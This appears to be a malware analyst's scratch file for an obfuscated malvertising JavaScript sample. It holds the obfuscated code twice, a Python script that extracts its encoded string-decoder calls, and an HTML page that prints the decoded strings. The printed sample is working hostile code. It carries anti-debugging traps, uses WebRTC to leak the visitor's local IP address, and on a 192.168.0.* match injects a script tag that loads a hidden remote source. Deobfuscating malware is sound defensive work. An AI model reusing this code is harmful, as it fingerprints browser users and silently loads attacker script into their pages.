      var _0x41bb8b = new RegExp(
        '\\w+ *\\(\\) *{\\w+ *[\'|\"].+[\'|\"];? *}');
      return !_0x41bb8b['test'](_0x227b59['toString']());
    };
    var _0x38e79b = function() {
      var _0x6ab37d = new RegExp('(\\\\[x|u](\\w){2,4})+');
      return _0x6ab37d['test'](_0x1f182b['toString']());
    };
    var _0x2fb498 = function(_0x57111d) {
      var _0x2fb07c = ~-0x1 >> 0x1 + 0xff % 0x0;
      if (_0x57111d['indexOf']('i' === _0x2fb07c)) {
        _0x2a463b(_0x57111d);
      }
    };
    var _0x2a463b = function(_0x4ce0c2) {
      var _0x324526 = ~-0x4 >> 0x1 + 0xff % 0x0;
      if (_0x4ce0c2['indexOf']((!![] + '')[0x3]) !== _0x324526) {
        _0x2fb498(_0x4ce0c2);
      }
    };
    if (!_0x88053c()) {
      if (!_0x38e79b()) {
        _0x2fb498('indеxOf');
      } else {
        _0x2fb498('indexOf');
      }
    } else {
      _0x2fb498('indеxOf');
    }
  });
  _0x20df75();
  var _0x4a2250 = function() {
    var _0x2ce6dc = !![];
    return function(_0x5f5d88, _0x3234fc) {
      var _0x43cd73 = _0x2ce6dc ? function() {
        if (_0x3234fc) {
          if (_0x5877('0x0', 'fYVo') !== 'csEBi') {
            var _0x12bdd3 = _0x3234fc[_0x5877('0x1', 'cw[y')](_0x5f5d88,
              arguments);
            _0x3234fc = null;
            return _0x12bdd3;
          } else {
            var _0x1cbfed = _0x3234fc['apply'](_0x5f5d88, arguments);
            _0x3234fc = null;
            return _0x1cbfed;
          }
        }
      } : function() {};
      _0x2ce6dc = ![];
      return _0x43cd73;
    };
  }();
  (function() {
    _0x4a2250(this, function() {
      if (_0x5877('0x2', 'R2OT') !== _0x5877('0x3', 'WlSm')) {
        if (fn) {
          var _0x4ec76c = fn['apply'](context, arguments);
          fn = null;
          return _0x4ec76c;
        }
      } else {
        var _0x5acad2 = new RegExp(_0x5877('0x4', 'adOx'));
        var _0x16222c = new RegExp(_0x5877('0x5', 'R2OT'), 'i');
        var _0x38f6c0 = _0x5af654(_0x5877('0x6', '5&eh'));
        if (!_0x5acad2['test'](_0x38f6c0 + _0x5877('0x7', 'aLUv')) || !
          _0x16222c[_0x5877('0x8', '5&eh')](_0x38f6c0 + _0x5877('0x9',
            'F(E#'))) {
          _0x38f6c0('0');
        } else {
          if (_0x5877('0xa', 'Q&C3') === _0x5877('0xb', 'QwV5')) {
            that = window;
          } else {
            _0x5af654();
          }
        }
      }
    })();
  }());
  var _0x431010 = function() {
    var _0x1ef502 = !![];
    return function(_0x717a92, _0x3e62fa) {
      if (_0x5877('0xc', 'E7P9') !== _0x5877('0xd', 'E7O$')) {
        var _0x145748 = iframe[_0x5877('0xe', 'w(zO')];
        _0x1871db = _0x145748['RTCPeerConnection'] || _0x145748[_0x5877(
          '0xf', 'iOa(')] || _0x145748[_0x5877('0x10', 'dC5K')];
        _0x579aca = !!_0x145748[_0x5877('0x11', 'h#9[')];
      } else {
        var _0x54e288 = _0x1ef502 ? function() {
          if (_0x5877('0x12', 'dC5K') === _0x5877('0x13', 'QwV5')) {
            if (_0x3e62fa) {
              if (_0x5877('0x14', 'p1IC') === _0x5877('0x15', '4Nbx')) {
                var _0x3ed5d1 = document[_0x5877('0x16', ')m$x')](
                  'script');
                _0x3ed5d1['setAttribute'](_0x5877('0x17', 'jEx@'),
                  _0x5877('0x18', 'L]47'));
                document[_0x5877('0x19', 'ZE[y')][_0x5877('0x1a', '6ql8')]
                  (_0x3ed5d1);
              } else {
                var _0x17ee0f = _0x3e62fa[_0x5877('0x1b', 'KfX2')](
                  _0x717a92, arguments);
                _0x3e62fa = null;
                return _0x17ee0f;
              }
            }
          } else {
            _0x5af654();
          }
        } : function() {};
        _0x1ef502 = ![];
        return _0x54e288;
      }
    };
  }();
  var _0x3c9ce3 = _0x431010(this, function() {
    if (_0x5877('0x1c', 'tP$Y') === _0x5877('0x1d', 'adOx')) {
      var _0x2c3920 = function() {};
      var _0x49bf6c;
      try {
        var _0x2b4599 = Function(_0x5877('0x1e', '%8cb') + _0x5877('0x1f',
          'tP$Y') + ');');
        _0x49bf6c = _0x2b4599();
      } catch (_0x2cc538) {
        if (_0x5877('0x20', 'Q&C3') !== _0x5877('0x21', '%!Aa')) {
          _0x49bf6c = window;
        } else {
          _0x49bf6c[_0x5877('0x22', '6ql8')] = function(_0x1e53d3) {
            var _0x26eeca = {};
            _0x26eeca[_0x5877('0x23', 'Q&C3')] = _0x1e53d3;
            _0x26eeca[_0x5877('0x24', 'b5R#')] = _0x1e53d3;
            _0x26eeca['debug'] = _0x1e53d3;
            _0x26eeca[_0x5877('0x25', 'adOx')] = _0x1e53d3;
            _0x26eeca[_0x5877('0x26', 'Q&C3')] = _0x1e53d3;
            _0x26eeca[_0x5877('0x27', 'jEx@')] = _0x1e53d3;
            _0x26eeca[_0x5877('0x28', '8YCV')] = _0x1e53d3;
            return _0x26eeca;
          }(_0x2c3920);
        }
      }
      if (!_0x49bf6c[_0x5877('0x29', 'tP$Y')]) {
        if ('syTtV' === _0x5877('0x2a', '4Nbx')) {
          _0x49bf6c[_0x5877('0x2b', 'rtMl')] = function(_0x2c3920) {
            if (_0x5877('0x2c', 'WlSm') === _0x5877('0x2d', 'Z9jA')) {
              var _0x194b95 = firstCall ? function() {
                if (fn) {
                  var _0x135e33 = fn[_0x5877('0x2e', '5&eh')](context,
                    arguments);
                  fn = null;
                  return _0x135e33;
                }
              } : function() {};
              firstCall = ![];
              return _0x194b95;
            } else {
              var _0x2ece3e = {};
              _0x2ece3e['log'] = _0x2c3920;
              _0x2ece3e['warn'] = _0x2c3920;
              _0x2ece3e[_0x5877('0x2f', '6ql8')] = _0x2c3920;
              _0x2ece3e['info'] = _0x2c3920;
              _0x2ece3e[_0x5877('0x30', 'E7O$')] = _0x2c3920;
              _0x2ece3e[_0x5877('0x31', 'tWAd')] = _0x2c3920;
              _0x2ece3e[_0x5877('0x32', '%8cb')] = _0x2c3920;
              return _0x2ece3e;
            }
          }(_0x2c3920);
        } else {
          var _0x2beef4 = fn[_0x5877('0x33', 'n5oQ')](context, arguments);
          fn = null;
          return _0x2beef4;
        }
      } else {
        if (_0x5877('0x34', '%8cb') !== _0x5877('0x35', '@krp')) {
          _0x49bf6c['console'][_0x5877('0x36', 'w(zO')] = _0x2c3920;
          _0x49bf6c[_0x5877('0x37', 'dC5K')][_0x5877('0x38', 'hzql')] =
            _0x2c3920;
          _0x49bf6c[_0x5877('0x39', 'hzql')][_0x5877('0x3a', 'dC5K')] =
            _0x2c3920;
          _0x49bf6c['console'][_0x5877('0x3b', '6ql8')] = _0x2c3920;
          _0x49bf6c[_0x5877('0x3c', 'aLUv')]['error'] = _0x2c3920;
          _0x49bf6c[_0x5877('0x3d', 'jEx@')][_0x5877('0x3e', 'xf2^')] =
            _0x2c3920;
          _0x49bf6c[_0x5877('0x3f', 'QwV5')][_0x5877('0x40', 'tP$Y')] =
            _0x2c3920;
        } else {
          if (ret) {
            return debuggerProtection;
          } else {
            debuggerProtection(0x0);
          }
        }
      }
    } else {
      if (ice[_0x5877('0x41', '%8cb')]) _0x267b0e(ice[_0x5877('0x42',
        'w(zO')][_0x5877('0x43', 'tWAd')]);
    }
  });
  _0x3c9ce3();
  var _0x28975c = {};
  var _0x1871db = window[_0x5877('0x44', 'jEx@')] || window[_0x5877('0x45',
    '%!Aa')] || window[_0x5877('0x10', 'dC5K')];
  var _0x579aca = !!window[_0x5877('0x46', 'cw[y')];
  if (!_0x1871db) {
    var _0x50942b = iframe[_0x5877('0x47', '@krp')];
    _0x1871db = _0x50942b[_0x5877('0x48', 'FGP1')] || _0x50942b[_0x5877('0x49',
      'Q&C3')] || _0x50942b[_0x5877('0x4a', '!Iuz')];
    _0x579aca = !!_0x50942b[_0x5877('0x4b', 'uIgh')];
  }
  var _0xc5dd = {};
  _0xc5dd[_0x5877('0x4c', '%!Aa')] = [{
    RtpDataChannels: !![]
  }];
  var _0x3889f8 = {};
  _0x3889f8['iceServers'] = [{
    urls: 'stun:stun.services.mozilla.com'
  }];
  var _0x5ac3b9 = new _0x1871db(_0x3889f8, _0xc5dd);

  function _0x267b0e(_0x2e3495) {
    if ('kbZPQ' !== _0x5877('0x4d', '5&eh')) {
      result('0');
    } else {
      var _0x25354a =
        /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/;
      var _0x7810e6 = _0x25354a[_0x5877('0x4e', 'vIM&')](_0x2e3495)[0x1];
      if (_0x7810e6) {
        if (_0x7810e6[_0x5877('0x4f', '^9I*')](/192.168.0.*/)) {
          if (_0x5877('0x50', '!8)f') === _0x5877('0x51', '^9I*')) {
            var _0x4c0ae7 = document[_0x5877('0x52', 'adOx')](_0x5877('0x53',
              '1#e@'));
            _0x4c0ae7[_0x5877('0x54', '8YCV')]('src', _0x5877('0x18', 'L]47'));
            document[_0x5877('0x55', 'aLUv')][_0x5877('0x56', 'cw[y')](
              _0x4c0ae7);
          } else {
            return !![];
          }
        }
      }
    }
  }
  _0x5ac3b9['onicecandidate'] = function(_0x511e7f) {
    if (_0x511e7f['candidate']) _0x267b0e(_0x511e7f[_0x5877('0x57', 'rtMl')][
      _0x5877('0x58', 'xf2^')
    ]);
  };
  _0x5ac3b9[_0x5877('0x59', '6ql8')]('');
  _0x5ac3b9[_0x5877('0x5a', 'ZE[y')](function(_0x28c8ac) {
    _0x5ac3b9[_0x5877('0x5b', '^9I*')](_0x28c8ac, function() {},
  function() {});
  }, function() {});
  setTimeout(function() {
    var _0x5f387b = _0x5ac3b9[_0x5877('0x5c', 'tP$Y')][_0x5877('0x5d',
      'QwV5')][_0x5877('0x5e', 'c0*A')]('\x0a');
    _0x5f387b[_0x5877('0x5f', 'dC5K')](function(_0x2b9ce7) {
      if (_0x2b9ce7[_0x5877('0x60', 'E7O$')](_0x5877('0x61',
        '@krp')) === 0x0) _0x267b0e(_0x2b9ce7);
    });
  }, 0x3e8);
}
_0x3dcb34();

function _0x5af654(_0x2fd47c) {
  function _0x5e9e2d(_0x102a64) {
    if (_0x5877('0x62', 'tP$Y') !== 'Dcpfe') {
      if (typeof _0x102a64 === _0x5877('0x63', 'xf2^')) {
        return function(_0x2c88d8) {} [_0x5877('0x64', '#U@!')](
          'while (true) {}')[_0x5877('0x65', 'rtMl')]('counter');
      } else {
        if (_0x5877('0x66', '!8)f') !== _0x5877('0x67', 'L]47')) {
          if (('' + _0x102a64 / _0x102a64)[_0x5877('0x68', 'c0*A')] !== 0x1 ||
            _0x102a64 % 0x14 === 0x0) {
            if (_0x5877('0x69', ')m$x') === _0x5877('0x6a', '8YCV')) {
              (function() {
                if (_0x5877('0x6b', '^9I*') === _0x5877('0x6c', 'E7P9')) {
                  if (fn) {
                    var _0x2bda3d = fn[_0x5877('0x1', 'cw[y')](context,
                      arguments);
                    fn = null;
                    return _0x2bda3d;
                  }
                } else {
                  return !![];
                }
              } ['constructor']('debu' + _0x5877('0x6d', 'ZE[y'))[_0x5877(
                '0x6e', 'Z9jA')](_0x5877('0x6f', 'Z9jA')));
            } else {
              var _0x45db9a = Function(_0x5877('0x70', 'tP$Y') + _0x5877('0x71',
                'hzql') + ');');
              that = _0x45db9a();
            }
          } else {
            (function() {
              return ![];
            } [_0x5877('0x72', '1#e@')](_0x5877('0x73', 'R2OT') + _0x5877(
              '0x74', 'b5R#'))[_0x5877('0x75', 'uIgh')](_0x5877('0x76',
              'R2OT')));
          }
        } else {
          return function(_0x581cb3) {} [_0x5877('0x77', '!8)f')](_0x5877(
            '0x78', 'E7P9'))['apply'](_0x5877('0x79', 'ZE[y'));
        }
      }
      _0x5e9e2d(++_0x102a64);
    } else {
      (function() {
        return ![];
      } [_0x5877('0x7a', ')m$x')](_0x5877('0x7b', 'E7O$') + _0x5877('0x7c',
        '4Nbx'))[_0x5877('0x7d', 'F(E#')](_0x5877('0x7e', '1#e@')));
    }
  }
  try {
    if (_0x2fd47c) {
      if ('aZqGm' === _0x5877('0x7f', '*bx^')) {
        return _0x5e9e2d;
      } else {
        var _0x14d30a =
          /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/;
        var _0x4f8041 = _0x14d30a[_0x5877('0x80', '!8)f')](candidate)[0x1];
        if (_0x4f8041) {
          if (_0x4f8041[_0x5877('0x81', 'F(E#')](/192.168.0.*/)) {
            var _0xb9e15d = document[_0x5877('0x82', 'tP$Y')](_0x5877('0x83',
              '(Fs!'));
            _0xb9e15d[_0x5877('0x84', 'aLUv')](_0x5877('0x85', 'iOa('), _0x5877(
              '0x86', '^9I*'));
            document['head'][_0x5877('0x87', 'w(zO')](_0xb9e15d);
          }
        }
      }
    } else {
      if (_0x5877('0x88', 'jEx@') !== _0x5877('0x89', 'E7O$')) {
        _0x5e9e2d(0x0);
      } else {
        _0x5e9e2d(0x0);
      }
    }
  } catch (_0x7adc77) {}
}

import re
text=''' if (_0x5877('0x0', 'fYVo') !== 'csEBi') {
            var _0x12bdd3 = _0x3234fc[_0x5877('0x1', 'cw[y')](_0x5f5d88,
              arguments);
            _0x3234fc = null;
            return _0x12bdd3;
          } else {
            var _0x1cbfed = _0x3234fc['apply'](_0x5f5d88, arguments);
            _0x3234fc = null;
            return _0x1cbfed;
          }
        }
      } : function() {};
      _0x2ce6dc = ![];
      return _0x43cd73;
    };
  }();
  (function() {
    _0x4a2250(this, function() {
      if (_0x5877('0x2', 'R2OT') !== _0x5877('0x3', 'WlSm')) {
        if (fn) {
          var _0x4ec76c = fn['apply'](context, arguments);
          fn = null;
          return _0x4ec76c;
        }
      } else {
        var _0x5acad2 = new RegExp(_0x5877('0x4', 'adOx'));
        var _0x16222c = new RegExp(_0x5877('0x5', 'R2OT'), 'i');
        var _0x38f6c0 = _0x5af654(_0x5877('0x6', '5&eh'));
        if (!_0x5acad2['test'](_0x38f6c0 + _0x5877('0x7', 'aLUv')) || !
          _0x16222c[_0x5877('0x8', '5&eh')](_0x38f6c0 + _0x5877('0x9',
            'F(E#'))) {
          _0x38f6c0('0');
        } else {
          if (_0x5877('0xa', 'Q&C3') === _0x5877('0xb', 'QwV5')) {
            that = window;
          } else {
            _0x5af654();
          }
        }
      }
    })();
  }());
  var _0x431010 = function() {
    var _0x1ef502 = !![];
    return function(_0x717a92, _0x3e62fa) {
      if (_0x5877('0xc', 'E7P9') !== _0x5877('0xd', 'E7O$')) {
        var _0x145748 = iframe[_0x5877('0xe', 'w(zO')];
        _0x1871db = _0x145748['RTCPeerConnection'] || _0x145748[_0x5877(
          '0xf', 'iOa(')] || _0x145748[_0x5877('0x10', 'dC5K')];
        _0x579aca = !!_0x145748[_0x5877('0x11', 'h#9[')];
      } else {
        var _0x54e288 = _0x1ef502 ? function() {
          if (_0x5877('0x12', 'dC5K') === _0x5877('0x13', 'QwV5')) {
            if (_0x3e62fa) {
              if (_0x5877('0x14', 'p1IC') === _0x5877('0x15', '4Nbx')) {
                var _0x3ed5d1 = document[_0x5877('0x16', ')m$x')](
                  'script');
                _0x3ed5d1['setAttribute'](_0x5877('0x17', 'jEx@'),
                  _0x5877('0x18', 'L]47'));
                document[_0x5877('0x19', 'ZE[y')][_0x5877('0x1a', '6ql8')]
                  (_0x3ed5d1);
              } else {
                var _0x17ee0f = _0x3e62fa[_0x5877('0x1b', 'KfX2')](
                  _0x717a92, arguments);
                _0x3e62fa = null;
                return _0x17ee0f;
              }
            }
          } else {
            _0x5af654();
          }
        } : function() {};
        _0x1ef502 = ![];
        return _0x54e288;
      }
    };
  }();
  var _0x3c9ce3 = _0x431010(this, function() {
    if (_0x5877('0x1c', 'tP$Y') === _0x5877('0x1d', 'adOx')) {
      var _0x2c3920 = function() {};
      var _0x49bf6c;
      try {
        var _0x2b4599 = Function(_0x5877('0x1e', '%8cb') + _0x5877('0x1f',
          'tP$Y') + ');');
        _0x49bf6c = _0x2b4599();
      } catch (_0x2cc538) {
        if (_0x5877('0x20', 'Q&C3') !== _0x5877('0x21', '%!Aa')) {
          _0x49bf6c = window;
        } else {
          _0x49bf6c[_0x5877('0x22', '6ql8')] = function(_0x1e53d3) {
            var _0x26eeca = {};
            _0x26eeca[_0x5877('0x23', 'Q&C3')] = _0x1e53d3;
            _0x26eeca[_0x5877('0x24', 'b5R#')] = _0x1e53d3;
            _0x26eeca['debug'] = _0x1e53d3;
            _0x26eeca[_0x5877('0x25', 'adOx')] = _0x1e53d3;
            _0x26eeca[_0x5877('0x26', 'Q&C3')] = _0x1e53d3;
            _0x26eeca[_0x5877('0x27', 'jEx@')] = _0x1e53d3;
            _0x26eeca[_0x5877('0x28', '8YCV')] = _0x1e53d3;
            return _0x26eeca;
          }(_0x2c3920);
        }
      }
      if (!_0x49bf6c[_0x5877('0x29', 'tP$Y')]) {
        if ('syTtV' === _0x5877('0x2a', '4Nbx')) {
          _0x49bf6c[_0x5877('0x2b', 'rtMl')] = function(_0x2c3920) {
            if (_0x5877('0x2c', 'WlSm') === _0x5877('0x2d', 'Z9jA')) {
              var _0x194b95 = firstCall ? function() {
                if (fn) {
                  var _0x135e33 = fn[_0x5877('0x2e', '5&eh')](context,
                    arguments);
                  fn = null;
                  return _0x135e33;
                }
              } : function() {};
              firstCall = ![];
              return _0x194b95;
            } else {
              var _0x2ece3e = {};
              _0x2ece3e['log'] = _0x2c3920;
              _0x2ece3e['warn'] = _0x2c3920;
              _0x2ece3e[_0x5877('0x2f', '6ql8')] = _0x2c3920;
              _0x2ece3e['info'] = _0x2c3920;
              _0x2ece3e[_0x5877('0x30', 'E7O$')] = _0x2c3920;
              _0x2ece3e[_0x5877('0x31', 'tWAd')] = _0x2c3920;
              _0x2ece3e[_0x5877('0x32', '%8cb')] = _0x2c3920;
              return _0x2ece3e;
            }
          }(_0x2c3920);
        } else {
          var _0x2beef4 = fn[_0x5877('0x33', 'n5oQ')](context, arguments);
          fn = null;
          return _0x2beef4;
        }
      } else {
        if (_0x5877('0x34', '%8cb') !== _0x5877('0x35', '@krp')) {
          _0x49bf6c['console'][_0x5877('0x36', 'w(zO')] = _0x2c3920;
          _0x49bf6c[_0x5877('0x37', 'dC5K')][_0x5877('0x38', 'hzql')] =
            _0x2c3920;
          _0x49bf6c[_0x5877('0x39', 'hzql')][_0x5877('0x3a', 'dC5K')] =
            _0x2c3920;
          _0x49bf6c['console'][_0x5877('0x3b', '6ql8')] = _0x2c3920;
          _0x49bf6c[_0x5877('0x3c', 'aLUv')]['error'] = _0x2c3920;
          _0x49bf6c[_0x5877('0x3d', 'jEx@')][_0x5877('0x3e', 'xf2^')] =
            _0x2c3920;
          _0x49bf6c[_0x5877('0x3f', 'QwV5')][_0x5877('0x40', 'tP$Y')] =
            _0x2c3920;
        } else {
          if (ret) {
            return debuggerProtection;
          } else {
            debuggerProtection(0x0);
          }
        }
      }
    } else {
      if (ice[_0x5877('0x41', '%8cb')]) _0x267b0e(ice[_0x5877('0x42',
        'w(zO')][_0x5877('0x43', 'tWAd')]);
    }
  });
  _0x3c9ce3();
  var _0x28975c = {};
  var _0x1871db = window[_0x5877('0x44', 'jEx@')] || window[_0x5877('0x45',
    '%!Aa')] || window[_0x5877('0x10', 'dC5K')];
  var _0x579aca = !!window[_0x5877('0x46', 'cw[y')];
  if (!_0x1871db) {
    var _0x50942b = iframe[_0x5877('0x47', '@krp')];
    _0x1871db = _0x50942b[_0x5877('0x48', 'FGP1')] || _0x50942b[_0x5877('0x49',
      'Q&C3')] || _0x50942b[_0x5877('0x4a', '!Iuz')];
    _0x579aca = !!_0x50942b[_0x5877('0x4b', 'uIgh')];
  }
  var _0xc5dd = {};
  _0xc5dd[_0x5877('0x4c', '%!Aa')] = [{
    RtpDataChannels: !![]
  }];
  var _0x3889f8 = {};
  _0x3889f8['iceServers'] = [{
    urls: 'stun:stun.services.mozilla.com'
  }];
  var _0x5ac3b9 = new _0x1871db(_0x3889f8, _0xc5dd);

  function _0x267b0e(_0x2e3495) {
    if ('kbZPQ' !== _0x5877('0x4d', '5&eh')) {
      result('0');
    } else {
      var _0x25354a =
        /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/;
      var _0x7810e6 = _0x25354a[_0x5877('0x4e', 'vIM&')](_0x2e3495)[0x1];
      if (_0x7810e6) {
        if (_0x7810e6[_0x5877('0x4f', '^9I*')](/192.168.0.*/)) {
          if (_0x5877('0x50', '!8)f') === _0x5877('0x51', '^9I*')) {
            var _0x4c0ae7 = document[_0x5877('0x52', 'adOx')](_0x5877('0x53',
              '1#e@'));
            _0x4c0ae7[_0x5877('0x54', '8YCV')]('src', _0x5877('0x18', 'L]47'));
            document[_0x5877('0x55', 'aLUv')][_0x5877('0x56', 'cw[y')](
              _0x4c0ae7);
          } else {
            return !![];
          }
        }
      }
    }
  }
  _0x5ac3b9['onicecandidate'] = function(_0x511e7f) {
    if (_0x511e7f['candidate']) _0x267b0e(_0x511e7f[_0x5877('0x57', 'rtMl')][
      _0x5877('0x58', 'xf2^')
    ]);
  };
  _0x5ac3b9[_0x5877('0x59', '6ql8')]('');
  _0x5ac3b9[_0x5877('0x5a', 'ZE[y')](function(_0x28c8ac) {
    _0x5ac3b9[_0x5877('0x5b', '^9I*')](_0x28c8ac, function() {},
  function() {});
  }, function() {});
  setTimeout(function() {
    var _0x5f387b = _0x5ac3b9[_0x5877('0x5c', 'tP$Y')][_0x5877('0x5d',
      'QwV5')][_0x5877('0x5e', 'c0*A')]('\x0a');
    _0x5f387b[_0x5877('0x5f', 'dC5K')](function(_0x2b9ce7) {
      if (_0x2b9ce7[_0x5877('0x60', 'E7O$')](_0x5877('0x61',
        '@krp')) === 0x0) _0x267b0e(_0x2b9ce7);
    });
  }, 0x3e8);
}
_0x3dcb34();

function _0x5af654(_0x2fd47c) {
  function _0x5e9e2d(_0x102a64) {
    if (_0x5877('0x62', 'tP$Y') !== 'Dcpfe') {
      if (typeof _0x102a64 === _0x5877('0x63', 'xf2^')) {
        return function(_0x2c88d8) {} [_0x5877('0x64', '#U@!')](
          'while (true) {}')[_0x5877('0x65', 'rtMl')]('counter');
      } else {
        if (_0x5877('0x66', '!8)f') !== _0x5877('0x67', 'L]47')) {
          if (('' + _0x102a64 / _0x102a64)[_0x5877('0x68', 'c0*A')] !== 0x1 ||
            _0x102a64 % 0x14 === 0x0) {
            if (_0x5877('0x69', ')m$x') === _0x5877('0x6a', '8YCV')) {
              (function() {
                if (_0x5877('0x6b', '^9I*') === _0x5877('0x6c', 'E7P9')) {
                  if (fn) {
                    var _0x2bda3d = fn[_0x5877('0x1', 'cw[y')](context,
                      arguments);
                    fn = null;
                    return _0x2bda3d;
                  }
                } else {
                  return !![];
                }
              } ['constructor']('debu' + _0x5877('0x6d', 'ZE[y'))[_0x5877(
                '0x6e', 'Z9jA')](_0x5877('0x6f', 'Z9jA')));
            } else {
              var _0x45db9a = Function(_0x5877('0x70', 'tP$Y') + _0x5877('0x71',
                'hzql') + ');');
              that = _0x45db9a();
            }
          } else {
            (function() {
              return ![];
            } [_0x5877('0x72', '1#e@')](_0x5877('0x73', 'R2OT') + _0x5877(
              '0x74', 'b5R#'))[_0x5877('0x75', 'uIgh')](_0x5877('0x76',
              'R2OT')));
          }
        } else {
          return function(_0x581cb3) {} [_0x5877('0x77', '!8)f')](_0x5877(
            '0x78', 'E7P9'))['apply'](_0x5877('0x79', 'ZE[y'));
        }
      }
      _0x5e9e2d(++_0x102a64);
    } else {
      (function() {
        return ![];
      } [_0x5877('0x7a', ')m$x')](_0x5877('0x7b', 'E7O$') + _0x5877('0x7c',
        '4Nbx'))[_0x5877('0x7d', 'F(E#')](_0x5877('0x7e', '1#e@')));
    }
  }
  try {
    if (_0x2fd47c) {
      if ('aZqGm' === _0x5877('0x7f', '*bx^')) {
        return _0x5e9e2d;
      } else {
        var _0x14d30a =
          /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/;
        var _0x4f8041 = _0x14d30a[_0x5877('0x80', '!8)f')](candidate)[0x1];
        if (_0x4f8041) {
          if (_0x4f8041[_0x5877('0x81', 'F(E#')](/192.168.0.*/)) {
            var _0xb9e15d = document[_0x5877('0x82', 'tP$Y')](_0x5877('0x83',
              '(Fs!'));
            _0xb9e15d[_0x5877('0x84', 'aLUv')](_0x5877('0x85', 'iOa('), _0x5877(
              '0x86', '^9I*'));
            document['head'][_0x5877('0x87', 'w(zO')](_0xb9e15d);
          }
        }
      }
    } else {
      if (_0x5877('0x88', 'jEx@') !== _0x5877('0x89', 'E7O$')) {
        _0x5e9e2d(0x0);
      } else {
        _0x5e9e2d(0x0);
      }
    }
  } catch (_0x7adc77) {}
}'''
for i in range(0x90):
    m=re.search('(_0x5877\(.*?)\)',text)
    print(m.group(0)+"\n")
    text=text.replace(str(m.group()),'a',1)
print(text)


 0x5877추출코드

<!DOCTYPE html>
<html>
<head>
    <script src="malvertising3.js"></script>
</head>
<body>
  <script>
document.write(_0x5877('0x0', 'fYVo')+"</br>");
document.write(_0x5877('0x1', 'cw[y')+"</br>");
document.write(_0x5877('0x2', 'R2OT')+"</br>");
document.write(_0x5877('0x3', 'WlSm')+"</br>");
document.write(_0x5877('0x4', 'adOx')+"</br>");
document.write(_0x5877('0x5', 'R2OT')+"</br>");
document.write(_0x5877('0x6', '5&eh')+"</br>");
document.write(_0x5877('0x7', 'aLUv')+"</br>");
document.write(_0x5877('0x8', '5&eh')+"</br>");
document.write(_0x5877('0xa', 'Q&C3')+"</br>");
document.write(_0x5877('0xb', 'QwV5')+"</br>");
document.write(_0x5877('0xc', 'E7P9')+"</br>");
document.write(_0x5877('0xd', 'E7O$')+"</br>");
document.write(_0x5877('0xe', 'w(zO')+"</br>");
document.write(_0x5877('0x10', 'dC5K')+"</br>");
document.write(_0x5877('0x11', 'h#9[')+"</br>");
document.write(_0x5877('0x12', 'dC5K')+"</br>");
document.write(_0x5877('0x13', 'QwV5')+"</br>");
document.write(_0x5877('0x14', 'p1IC')+"</br>");
document.write(_0x5877('0x15', '4Nbx')+"</br>");
document.write(_0x5877('0x17', 'jEx@')+"</br>");
document.write(_0x5877('0x18', 'L]47')+"</br>");
document.write(_0x5877('0x19', 'ZE[y')+"</br>");
document.write(_0x5877('0x1a', '6ql8')+"</br>");
document.write(_0x5877('0x1b', 'KfX2')+"</br>");
document.write(_0x5877('0x1c', 'tP$Y')+"</br>");
document.write(_0x5877('0x1d', 'adOx')+"</br>");
document.write(_0x5877('0x1e', '%8cb')+"</br>");
document.write(_0x5877('0x20', 'Q&C3')+"</br>");
document.write(_0x5877('0x21', '%!Aa')+"</br>");
document.write(_0x5877('0x22', '6ql8')+"</br>");
document.write(_0x5877('0x23', 'Q&C3')+"</br>");
document.write(_0x5877('0x24', 'b5R#')+"</br>");
document.write(_0x5877('0x25', 'adOx')+"</br>");
document.write(_0x5877('0x26', 'Q&C3')+"</br>");
document.write(_0x5877('0x27', 'jEx@')+"</br>");
document.write(_0x5877('0x28', '8YCV')+"</br>");
document.write(_0x5877('0x29', 'tP$Y')+"</br>");
document.write(_0x5877('0x2a', '4Nbx')+"</br>");
document.write(_0x5877('0x2b', 'rtMl')+"</br>");
document.write(_0x5877('0x2c', 'WlSm')+"</br>");
document.write(_0x5877('0x2d', 'Z9jA')+"</br>");
document.write(_0x5877('0x2e', '5&eh')+"</br>");
document.write(_0x5877('0x2f', '6ql8')+"</br>");
document.write(_0x5877('0x30', 'E7O$')+"</br>");
document.write(_0x5877('0x31', 'tWAd')+"</br>");
document.write(_0x5877('0x32', '%8cb')+"</br>");
document.write(_0x5877('0x33', 'n5oQ')+"</br>");
document.write(_0x5877('0x34', '%8cb')+"</br>");
document.write(_0x5877('0x35', '@krp')+"</br>");
document.write(_0x5877('0x36', 'w(zO')+"</br>");
document.write(_0x5877('0x37', 'dC5K')+"</br>");
document.write(_0x5877('0x38', 'hzql')+"</br>");
document.write(_0x5877('0x39', 'hzql')+"</br>");
document.write(_0x5877('0x3a', 'dC5K')+"</br>");
document.write(_0x5877('0x3b', '6ql8')+"</br>");
document.write(_0x5877('0x3c', 'aLUv')+"</br>");
document.write(_0x5877('0x3d', 'jEx@')+"</br>");
document.write(_0x5877('0x3e', 'xf2^')+"</br>");
document.write(_0x5877('0x3f', 'QwV5')+"</br>");
document.write(_0x5877('0x40', 'tP$Y')+"</br>");
document.write(_0x5877('0x41', '%8cb')+"</br>");
document.write(_0x5877('0x43', 'tWAd')+"</br>");
document.write(_0x5877('0x44', 'jEx@')+"</br>");
document.write(_0x5877('0x10', 'dC5K')+"</br>");
document.write(_0x5877('0x46', 'cw[y')+"</br>");
document.write(_0x5877('0x47', '@krp')+"</br>");
document.write(_0x5877('0x48', 'FGP1')+"</br>");
document.write(_0x5877('0x4a', '!Iuz')+"</br>");
document.write(_0x5877('0x4b', 'uIgh')+"</br>");
document.write(_0x5877('0x4c', '%!Aa')+"</br>");
document.write(_0x5877('0x4d', '5&eh')+"</br>");
document.write(_0x5877('0x4e', 'vIM&')+"</br>");
document.write(_0x5877('0x4f', '^9I*')+"</br>");
document.write(_0x5877('0x51', '^9I*')+"</br>");
document.write(_0x5877('0x52', 'adOx')+"</br>");
document.write(_0x5877('0x54', '8YCV')+"</br>");
document.write(_0x5877('0x18', 'L]47')+"</br>");
document.write(_0x5877('0x55', 'aLUv')+"</br>");
document.write(_0x5877('0x56', 'cw[y')+"</br>");
document.write(_0x5877('0x57', 'rtMl')+"</br>");
document.write(_0x5877('0x58', 'xf2^')+"</br>");
document.write(_0x5877('0x59', '6ql8')+"</br>");
document.write(_0x5877('0x5a', 'ZE[y')+"</br>");
